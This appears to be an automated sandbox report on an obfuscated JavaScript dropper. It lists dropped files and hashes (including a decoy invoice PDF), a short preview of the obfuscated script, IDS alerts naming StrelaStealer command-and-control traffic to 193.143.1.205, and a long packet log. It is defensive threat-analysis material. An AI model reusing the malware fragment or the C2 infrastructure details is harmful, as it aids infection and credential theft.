File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15899), with CRLF line terminators
Entropy (8bit):	4.913692602226757
TrID:
File name:	16042278381135117219.js
File size:	19'494 bytes
MD5:	c5f2a5c72037d0a49613caa2ca8b0583
SHA1:	53e328d2009c8d774b8f8cbe64e4bdf1ac92daa3
SHA256:	884d85472f4bf2fc8e6a6ab490e99a7719ba73b5396b6b2684899b77da60d44b
SHA512:	d14ca25c734b9a9d9b28af20da3a63780309872fb81fd938236c8e863a84593694e469b36dc3ca818bd8b550de48a053eed36c1e137a77489b1e53e65b51e1ff
SSDEEP:	384:N3LczG6n0nRXqVbKLTPuXvr4eP/KZrnQ3l9LLUK7oG/IGq9IcOUIopnUcdf8JVQb:N7EG6n0nRX/LjaT4eP/KZrnQ3l9LLUKq
TLSH:	B79212A18C86462ADFC5A6B3BF0F04E653E912A5599005EE56C6E4CC4A0DF3736E34FC
File Content Preview:	function dgkqupigo(){hnovagpb=[1031,3079,5127,4103,2055,3072];var jzlxfz=this[islqlht+ebgzr+hngqshco+pygbd+jwbquyqya+nzrwlc+qqrdwkrrd+edcstqy](this[bjqqkv+hbdznbpxr+kcscofhk+hngqshco+blxxjdj+islqlht+edcstqy][mioabybve+hngqshco+jwbquyqya+ebgzr+edcstqy+jwbq

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:17:53.833354+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:17:53.833354+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:17:56.603279+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:17:53.021610022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.026573896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.026969910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.030735970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.035574913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.833170891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.833230972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.833331108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.833353996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.833367109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.833404064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.833421946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.833441019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.833475113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.833487988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.833511114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.833544016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.833575964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.833581924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.833637953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.838468075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.884536982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.890600920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.890623093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.890635014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.890708923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.957060099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.957073927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.957139015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.957326889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.957348108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.957360983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.957372904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.957387924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.957421064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.957765102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.957798958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.957809925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.957839966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.958200932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.958231926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.958242893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.958270073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.958281994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.958379030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.958858013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.958898067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.958920002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.958933115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.958977938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.959054947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.959069014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.959122896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.959788084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.959849119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.959861040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.959891081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:53.977343082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:53.977466106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.014688969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.014748096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.014786959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.014812946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.014889956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.014942884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.044109106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.044163942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.044236898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.081320047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.081428051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.081466913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.081516981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.081521988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.081558943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.081577063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.081593990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.081629038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.081641912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.081667900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.081703901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.081715107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.081742048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.081795931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.082077026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.082125902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.082138062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.082166910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.082361937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.082406998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.082434893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.082447052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.082480907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.082581997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.082595110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.082612991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.082657099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.083112955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.083158016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.083237886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.083251953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.083292961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.083337069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.083348989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.083360910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.083373070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.083391905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.083412886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.084057093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.084124088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.084136009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.084168911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.084307909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.084321022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.084333897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.084347010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.084352016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.084372044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.085081100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.085093975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.085107088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.085127115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.085151911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.085227966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.085241079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.085253954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.085266113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.085275888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.085318089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.101401091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.138408899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.138432026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.138444901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.138499022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.138545990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.138747931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.138771057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.138786077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.138818979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.169886112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.169941902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.169980049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.170017958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.170079947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.170079947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.204896927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.204940081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.204956055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.204969883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.204981089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205037117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205051899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205060005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.205075979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.205117941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.205144882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205180883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205223083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.205307961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205321074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205334902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205363035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.205444098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205486059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.205492973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205605984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205617905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205630064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205648899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.205676079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.205781937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205852985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205893993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.205919981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205933094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.205975056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.206084967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.206098080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.206140995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.206183910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.206235886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.206248045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.206271887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.206410885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.206423044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.206453085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.206646919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.206660986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.206675053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.206692934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.206727028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.206810951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.206824064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.206835032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.206846952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.206871033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.206882000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.207063913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.207082033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.207093000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.207106113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.207118034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.207150936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.207542896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.207582951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.207609892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.207612991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.207655907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.207772970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.207797050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.207822084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.207842112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.207849026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.207892895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.208071947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.208096981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.208122015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.208148003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.208148956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.208194971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.208268881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.208586931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.208611965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.208636999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.208637953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.208682060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.208709955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.208734035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.208759069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.208776951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.208784103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.208827972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.209009886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.209036112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.209059954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.209073067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.209100008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.209103107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.209152937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.209414959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.209465981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.212002993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.225240946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.225284100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.225337982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.225363970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.225373030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.225409985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.225445986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.225482941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.225580931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.225580931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.225601912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.225637913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.225652933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.225677013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.225708008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.225727081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.225744009 CET	80	49730	193.143.1.205	192.168.2.4
